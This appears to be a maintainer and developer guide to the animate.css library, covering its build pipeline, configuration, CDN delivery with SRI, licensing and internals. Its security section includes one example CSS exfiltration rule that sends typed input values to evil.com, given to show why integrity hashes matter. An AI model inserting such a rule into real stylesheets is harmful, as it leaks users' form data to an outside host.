Animate.css Administrator & Developer Guide

Audience: Library maintainers, frontend architects, build engineers, design-system leads, and performance engineers responsible for integrating, customizing, or operating animate.css at scale.

1. Architecture Overview

1.1 What the system does

animate.css is a pure-CSS animation library — no JavaScript runtime, no framework coupling, no DOM manipulation. It ships a catalog of 97 named @keyframes together with a small class-based API (.animate__animated, .animate__{name}, duration/delay/repeat utilities) that composes them onto any HTML element.

The source is a collection of individual CSS files — one per animation — aggregated into a single output file by a PostCSS build pipeline. The build produces three variants of the same source: prefixed (default), prefixed-and-minified (production), and unprefixed-and-minified (backwards-compatible with v3).

Note

The library has no JavaScript runtime artifact, no Web Animations API usage, no tree-shakeable module exports, no Sass/Less preprocessor, no React/Vue/Svelte wrapper, no test suite, and no TypeScript declarations. These are authoritative negative facts — relying on the contrary in downstream systems will break.

1.2 Source tree topology

animate.css/
├── source/                           <- Canonical source; bundler entry point
│   ├── animate.css                   <- Master aggregator (97 @import lines)
│   ├── _base.css                     <- .animated machinery, utility classes
│   ├── _vars.css                     <- 3 CSS custom properties at :root
│   ├── attention_seekers/            <- 13 keyframe files
│   ├── back_entrances/               <- 4
│   ├── back_exits/                   <- 4
│   ├── bouncing_entrances/           <- 5
│   ├── bouncing_exits/               <- 5
│   ├── fading_entrances/             <- 13
│   ├── fading_exits/                 <- 13
│   ├── flippers/                     <- 5
│   ├── lightspeed/                   <- 4
│   ├── rotating_entrances/           <- 5
│   ├── rotating_exits/               <- 5
│   ├── sliding_entrances/            <- 4
│   ├── sliding_exits/                <- 4
│   ├── specials/                     <- 4 (+ source shake.css NOT in build)
│   ├── zooming_entrances/            <- 5
│   └── zooming_exits/                <- 5
├── postcss.config.js                 <- Build-pipeline config
├── package.json                      <- Scripts + build-time deps
├── animate.css                       <- Built: unminified, prefixed (dev default)
├── animate.min.css                   <- Built: minified, prefixed (production)
├── animate.compat.css                <- Built: minified, UNPREFIXED (backwards compat)
├── docs/                             <- Built static site output
└── docsSource/                       <- Site generator (Node.js scripts)
    ├── index.js                      <- Entry: reads sections/*.md, builds index.html
    ├── compileMD.js                  <- markdown-it -> HTML sections
    ├── compileAnimationList.js       <- Parses source/animate.css comments to build sidebar
    ├── template.html                 <- Docs HTML template
    └── sections/                     <- 10 user-facing .md files

1.3 Component inventory

1.4 Technology stack

1.5 Build control flow

source/animate.css              (master with 97 @imports)
        |
        v
postcss-import                  (inlines all imported files into one buffer)
        |
        v
postcss-prefixer                (prepends "animate__" to every class -- unless env=compat)
        |   (ignores [class*=...] attribute selectors via regex guard)
        v
postcss-preset-env              (autoprefixer, custom-properties feature enabled)
        |
        v
cssnano                         (only if env === 'production' || env === 'compat')
        |
        v
postcss-header                  (prepends copyright banner with version from package.json)
        |
        v
output file                     (animate.css / animate.min.css / animate.compat.css)

1.6 The three build outputs

All three are compiled from the same source/animate.css master file; the difference is pipeline environment (ctx.env in postcss.config.js).

1.7 Runtime execution model

On the consumer's page, the runtime surface is exactly three CSS-level constructs:

1. A trigger class .animate__animated — sets animation-duration, animation-fill-mode: both, and respects prefers-reduced-motion.
2. A keyframe class .animate__{name} — maps to animation-name: {name} and (for a few entries) overrides animation-duration.
3. Optional modifier classes — .animate__delay-{n}s, .animate__{speed}, .animate__repeat-{n}, .animate__infinite.

The browser's CSS animation engine does all the work. There is no JavaScript execution triggered by the library itself.

1.8 Entry point summary

2. System Requirements

2.1 For consumers (end users who <link> the CSS)

2.2 For library maintainers / local development

Note

All dependencies are devDependencies — none ship to consumers. The npm package distributes only CSS files plus source CSS.

2.3 Hosting requirements

None beyond standard static-asset hosting. There is no server runtime, no database, no state, no authentication.

3. Configuration Reference

3.1 Build-time configuration (package.json)

"animateConfig": {
  "prefix": "animate__"
}

Important

This is the only build-time knob. To change the prefix (e.g., to avoid collision with another library), fork, edit package.json, and rebuild with npm start.

3.2 Runtime configuration (CSS custom properties)

Defined in source/_vars.css at :root:

Override scopes:

• Global: :root { --animate-duration: 500ms; } — changes default speed for every animated element.
• Per-element: <div class="animate__animated" style="--animate-duration: 2s;"> — one-off override.
• Per-component: .my-card { --animate-duration: 800ms; } — cascade naturally.

3.3 Hardcoded per-animation duration overrides

These ignore --animate-duration because they use literal animation-duration rules in their own stylesheets; noted here because they are invisible without reading source:

Speed utilities (.animate__fast, .animate__slow, etc.) do compose correctly with these — they use calc() on the effective duration.

Warning

If you set --animate-duration globally, these six animations will not change proportionally because their class-level animation-duration takes cascade precedence. Override --animate-duration on the specific element to affect them.

3.4 Utility classes — authoritative list

Generated from source/_base.css:

3.5 Accessibility clause (in _base.css)

@media (print), (prefers-reduced-motion: reduce) {
  .animate__animated {
    animation-duration: 1ms !important;
    transition-duration: 1ms !important;
    animation-iteration-count: 1 !important;
  }
}

Important

This media query guard is the entire accessibility mechanism. Never remove or weaken it. See section 7 for the security/accessibility rationale.

3.6 npm package files

The files field in package.json determines what ships to npm consumers:

"files": [
  "animate.compat.css",
  "animate.min.css",
  "animate.css",
  "source/**/*.css"
]

This means source CSS files are available for selective @import by consumers.

3.7 Browserslist

"browserslist": [
  "> 3%",
  "last 2 versions"
]

This configures autoprefixer (via postcss-preset-env) to emit vendor prefixes only for browsers with >3% global usage and the last 2 versions.

4. Deployment & Scaling

4.1 Delivery strategies

4.2 Caching

• The library changes rarely; set Cache-Control: public, max-age=31536000, immutable on versioned URLs (e.g., /animate.min.4.1.1.css).
• CDN ETags work cleanly because the file is static.
• There is no server-side state, so no cache-invalidation cross-talk.

Tip

Pin to an exact version when using a CDN. Avoid @latest — a major version bump with breaking prefix changes will silently break your animations.

4.3 SRI (Subresource Integrity)

When loading via CDN, use an SRI hash to prevent tampering:

<link rel="stylesheet"
      href="https://cdn.jsdelivr.net/npm/animate.css@4.1.1/animate.min.css"
      integrity="sha384-..."
      crossorigin="anonymous">

Generate SRI hashes with:

openssl dgst -sha384 -binary animate.min.css | openssl base64 -A

Note

SRI hashes must be regenerated after every version bump or custom build. The hash for the default build and a custom-prefix build will differ even if the animations are identical.

5. Operations

5.1 Build system — npm scripts reference

Tip

The npm version patch|minor|major lifecycle automatically runs npm start (full build), npm run docs (site rebuild), stages built artifacts, commits, tags, and pushes. A single command handles the entire release flow.

5.2 PostCSS pipeline — key decisions

// postcss.config.js:12
const {homepage, version, author, animateConfig} = JSON.parse(fs.readFileSync('package.json'));

Package metadata (version, prefix) is injected into the header at build time. Bumping version in package.json automatically stamps it into the emitted CSS banner.

// postcss.config.js:28
const prefix = ctx.env === 'compat' ? '' : animateConfig.prefix;

This single ternary is the entire mechanism that separates the compat build from the prefixed build. There are no separate source files; the same source tree produces both builds via environment variable.

// postcss.config.js:38-40
'postcss-prefixer': {
  prefix,
  ignore: [/\[class*=.*\]/],
},

Attribute selectors like [class*="animate__"] in the source are not re-prefixed, preventing double-prefixing. This is important if you modify source and use attribute-selector patterns.

// postcss.config.js:42-49
'postcss-preset-env': {
  autoprefixer: { cascade: false },
  features: { 'custom-properties': true },
},

custom-properties: true means postcss-preset-env inlines fallback values for browsers without CSS-variable support. This is why --animate-duration: 1s works even where var() is unsupported.

// postcss.config.js:50
cssnano: ctx.env === 'production' || ctx.env === 'compat' ? {} : false,

Minification runs only for production and compat environments. The raw/development build is intentionally unminified for debugging.

5.3 Expected build output sizes

Note

Sizes vary by build tooling versions. Run ls -l animate*.css after a fresh npm start for exact figures on your toolchain.

5.4 Release checklist

• [x] Run npm start — verify three CSS files are regenerated without errors
• [x] Run npm run docs — verify docs/index.html is regenerated
• [ ] Serve docs/ locally and click every animation in the catalog
• [ ] Verify animate.min.css contains exactly 97 @keyframes blocks
• [ ] Verify animate.compat.css has no animate__ prefix
• [ ] Verify animate.css header matches package.json#version
• [ ] Run npm version patch|minor|major to tag, build, commit, and push

6. Performance

6.1 Performance characteristics

Animate.css keyframes primarily animate transform and opacity — both are GPU-composited properties that avoid layout and paint costs. This is a deliberate design choice that makes the library performant across devices.

6.2 Performance checklist for integration

1. Set will-change sparingly — the library does not set will-change on any element. Elements animated frequently should have will-change: transform, opacity added manually before animation starts, then removed. Setting it permanently hurts performance.
2. Avoid animating layout-triggering properties — when adding custom keyframes, stay within transform and opacity.
3. Batch class additions — if adding .animate__animated to many elements, do it with classList and avoid layout thrash.
4. Combined class-bundle size — the full minified CSS is ~60 KB (~9 KB gzipped). On a bandwidth-constrained path, subset builds (section 7) can reduce this to <2 KB for typical use.
5. animation-fill-mode: both is set on .animate__animated — elements retain their final frame after exit animations. If you want them to disappear from layout, apply display: none after animationend.

Tip

For pages using only 2-3 animations, a subset build (section 7) eliminates ~95% of unused CSS. This is the single biggest performance optimization available.

7. Security

7.1 Threat surface

Because animate.css is pure CSS with no JavaScript, the normal web-security threat vectors do not apply:

Caution

If loading from a third-party CDN, always use Subresource Integrity (SRI) hashes. A compromised CDN could inject CSS-based data exfiltration (e.g., input[value^="a"] { background: url(https://evil.com/a) }). SRI prevents this by validating the file hash before applying it.

7.2 Build-time supply chain

The relevant build dependencies are standard PostCSS ecosystem packages. There are no custom or vendored build plugins:

• postcss-import@^14.0.2
• postcss-prefixer@^2.1.3
• postcss-preset-env@^6.7.0
• postcss-header@^3.0.1
• autoprefixer@^10.4.7
• cssnano@^5.0.17
• prettier@^2.7.1
• eslint@^7.32.0
• husky@^7.0.4
• lint-staged@^11.2.6
• markdown-it@^12.3.2
• npm-run-all@^4.1.5

Run npm audit periodically on a fresh clone; since consumers don't install these, vulnerabilities are confined to the maintainer's build environment.

7.3 License — Hippocratic License 2.1

The Hippocratic License is not an OSI-approved open-source license. It is a source-available license with ethical-use clauses that forbid use by entities engaging in specific harmful activities (surveillance, human-rights violations, environmental destruction, etc. — see the full text at firstdonoharm.dev).

Compliance implications for admins / legal review:

• Corporate legal policy may classify Hippocratic-2.1 as non-standard. Some compliance workflows auto-reject non-OSI licenses.
• The license is permissive on technical grounds (use, modify, redistribute) but conditional on ethical grounds.
• For corporate use, confirm your organization's activities do not fall within the license's prohibited categories.
• Some organizations choose to replace animate.css with an MIT-licensed alternative when compliance pushback is strong.

7.4 prefers-reduced-motion — a safety feature

The library respects prefers-reduced-motion: reduce automatically by reducing animation duration to 1ms and forcing iteration count to 1. Do not override this behavior without an operational reason; users requesting reduced motion may have vestibular disorders or other conditions where forced animation is genuinely harmful.

If you add custom keyframes on top of the library, replicate the same guard:

@media (prefers-reduced-motion: reduce) {
  .my-custom-animated { animation-duration: 1ms !important; }
}

8. Developer Internals

8.1 Repository structure

animate.css/                     144 files, ~5.2K chars source
├── source/                      98 CSS files (97 in build + 1 excluded)
│   ├── _vars.css                CSS custom properties
│   ├── _base.css                Base class, utilities, a11y guard
│   ├── animate.css              Master @import aggregator
│   └── {category}/{name}.css    Individual animation files
├── postcss.config.js            57 lines, build pipeline
├── package.json                 Scripts, deps, animateConfig
├── .travis.yml                  CI: Node 10, npm install && npm start
├── .prettierrc                  Prettier config
├── .editorconfig                Editor config
├── docsSource/                  3 JS files + template + 10 markdown sections
│   ├── index.js                 Entry point for docs generation
│   ├── compileMD.js             Markdown-to-HTML via markdown-it
│   ├── compileAnimationList.js  Parses animation names from source
│   ├── template.html            HTML template with {{docs}}, {{list}}, {{version}} slots
│   └── sections/                10 .md files (intro, usage, utilities, etc.)
├── docs/                        Built static site
│   ├── index.html               Generated docs page
│   ├── main.mjs                 Client-side JS modules
│   ├── style.css                Docs styling
│   └── modules/                 6 JS modules (playground, dark mode, etc.)
├── animate.css                  Built output (dev)
├── animate.min.css              Built output (prod)
└── animate.compat.css           Built output (compat)

8.2 Animation file conventions

Each animation file declares exactly one @keyframes {name} { ... } block plus one class rule .{name}:

• Directional variants (e.g., fadeInLeft, fadeInRight) are separate files, not parametrized — deliberate so selective @import tree-shakes unused variants.
• The class rule assigns animation-name: {name}. Everything else (duration, timing-function, fill-mode) is inherited from .animate__animated.
• Transform-origin and perspective are set on the class rule, not inside @keyframes, so they apply even if an override wraps the animation in a container with different origins.

8.3 Animation groups — internals

8.4 The shake discrepancy

source/attention_seekers/shake.css exists in the repository but is not imported by source/animate.css. Consequences:

• It is not in the built animate.css / animate.min.css.
• It is not documented in the official site.
• It is still shipped in the npm package because files: ["source/**/*.css"] includes every source file.

If a downstream consumer builds a custom bundle by listing source files directly (@import "animate.css/source/attention_seekers/shake.css"), they will get a working shake animation.

8.5 Docs site generator

The docs site is a custom Node.js build, not a static-site generator framework:

1. docsSource/index.js reads package.json for the version number.
2. compileMD.js reads all .md files from docsSource/sections/, sorted alphabetically (prefix numbers 00- through 09- ensure order), and compiles each to HTML via markdown-it with html: true and linkify: true.
3. compileAnimationList.js reads source/animate.css, parses category comments and @import filenames via regex, and produces an HTML animation sidebar list.
4. The template (template.html) has {{docs}}, {{list}}, and {{version}} placeholders that are replaced via simple string substitution.
5. Output is written to docs/index.html.

The docs site also includes client-side JS modules (docs/modules/) for the interactive playground, dark mode, slow-down toggle, and animation triggers.

8.6 Code patterns

• No JavaScript runtime — the library is CSS-only. The only JS is build tooling and docs generation.
• CSS composition via @import — the master source/animate.css composes all animations. Individual animation files are standalone units.
• CSS custom properties for configurability — --animate-duration, --animate-delay, --animate-repeat provide the entire runtime configuration surface.
• Build-time prefixing — class name prefixing is applied by postcss-prefixer during build, not in source.
• Lint-staged formatting — prettier runs on *.{mjs,js,json,md,css} via lint-staged + husky pre-commit hook.

8.7 Testing

Warning

The repository has no automated test suite. There is no Jest, no Mocha, no visual regression. The npm scripts contain start, dev, prod, compat, docs, format, prepare, version, postversion. There is no test script. Quality is verified manually against the published docs site.

Recommended QA workflow:

1. Run npm start — verify three CSS files regenerate without errors.

2. Run npm run docs — verify docs/index.html regenerates.

3. Serve docs/ locally and click every animation in the catalog.

4. Verify animate.min.css contains exactly 97 @keyframes blocks:

   grep -c "@keyframes " animate.min.css
   

   97
   

5. Verify animate.compat.css has no animate__ prefix:

   grep -c "animate__" animate.compat.css
   

   0
   

8.8 Potential improvements

1. Ship a JSON manifest of animation names at dist/animations.json. This enables editor intellisense (closes #1855), programmatic enumeration for JS wrappers, and type-safe React/Vue component wrappers.

2. Formalize subset builds (closes #1331). Options: package.json#exports map for each source subdirectory, a CLI for custom bundles, or a companion package for common subsets.

3. Add a visual-regression test harness. Playwright + pixelmatch, one snapshot per animation at start/mid/end frames. Run on every PR.

4. Decide the fate of shake — either re-import source/attention_seekers/shake.css into source/animate.css and document it, or delete the file to remove the discrepancy.

5. Upgrade Node in CI — .travis.yml pins Node 10, which is EOL. Move to Node 18/20, migrate to GitHub Actions.

6. Add an exports field to package.json so modern bundlers get unambiguous entry resolution; include conditional entries for subset imports.

7. Document the per-animation duration overrides in the official site — currently only discoverable by reading source.

8. Add prepublishOnly script that runs npm start && npm run docs to guarantee published artifacts are always in sync.

9. Ship SRI-hash files so CDN consumers can pin integrity hashes mechanically.

10. Add a test script even if it's just a shell script asserting every source file (except shake.css) is imported by source/animate.css and the built files contain the expected @keyframes count.

8.9 Contributing

The repository includes a CONTRIBUTING.md and CODE_OF_CONDUCT.md. Source formatting is enforced by Prettier via lint-staged and Husky pre-commit hooks. Run npm run format before committing, or let the hook handle it automatically.

To add a new animation:

1. Create a new CSS file under the appropriate source/{category}/ directory.
2. Define one @keyframes {name} block and one .{name} class.
3. Add an @import line to source/animate.css.
4. Run npm start to rebuild.
5. Run npm run docs to update the docs site.

9. Integration Points

9.1 Consumer integration modes

9.2 Framework integration patterns

The library is framework-agnostic. Integration follows the same pattern everywhere: import the CSS once globally, then apply classes to elements. See the User Guide section 7.6 for React, Vue, Svelte, and Angular examples.

9.3 Custom builds — subset and prefix

Subset builds (reduce CSS size):

/* Import only what you need */
@import 'animate.css/source/_vars.css';
@import 'animate.css/source/_base.css';
@import 'animate.css/source/fading_entrances/fadeIn.css';
@import 'animate.css/source/fading_exits/fadeOut.css';
@import 'animate.css/source/attention_seekers/pulse.css';

Warning

Source files use unprefixed class names (.fadeIn, .animated). A direct-import subset build will NOT have animate__ prefixes. Either align your markup to unprefixed names, or run your own postcss-prefixer pass.

Custom prefix:

Edit package.json#animateConfig.prefix:

"animateConfig": {
  "prefix": "myco__"
}

Run npm start. Every class in the output becomes myco__animated, myco__fadeIn, etc.

Global kill-switch (disable all animations):

:root {
  --animate-duration: 1ms;
}
.animate__animated {
  animation-duration: 1ms !important;
}

This is functionally equivalent to the prefers-reduced-motion branch and can be toggled by a body class or feature flag.

10. Troubleshooting

Build-level issues

Warning

The .travis.yml pins Node 10 which is long-since EOL. While the build may still succeed, newer PostCSS plugin versions may silently require Node >=14. If CI starts failing mysteriously, check the Node version first.

Runtime-level diagnostic pointers

Tip

When debugging animation issues in production, the fastest diagnostic is to check which CSS file is loaded (view source or DevTools Network tab). If it's animate.compat.css, classes are unprefixed. If it's animate.min.css, they need the animate__ prefix.

11. Known Issues

From the repository's GitHub issue tracker (17 issues fetched):

Open bugs (community-confirmed):

Open feature requests:

• #1918 — Mood/content-based animation recommendations
• #1916 — zoomIn: partial-range playback
• #1901 — Add a new animation
• #1331 — Make importing source files possible (subset-build support)
• #1842 — Copy button for docs code snippets
• #1861 — Hover effect on footer links
• #1895 — Visual refresh of docs UI

Repository-level gaps:

• No automated tests (see section 8.7)
• shake.css exists in source but is not imported (see section 8.4)
• No .d.ts or JSON manifest of animation names
• No tree-shake-friendly package export map (only a single main pointing at monolithic CSS)

12. Quick Reference

Key files for any change

Commands cheat sheet

npm install            # Install devDependencies, set up husky hooks
npm start              # Full build: raw -> prod -> compat
npm run dev            # Watch-mode build
npm run docs           # Rebuild docs site
npm run format         # Prettier all source
npm version patch      # Bump version, build, commit, tag, push

Minimum consumer footprint

<link rel="stylesheet" href="/animate.min.css">
<div class="animate__animated animate__fadeIn">Hello</div>

Two lines. No JavaScript. No build step.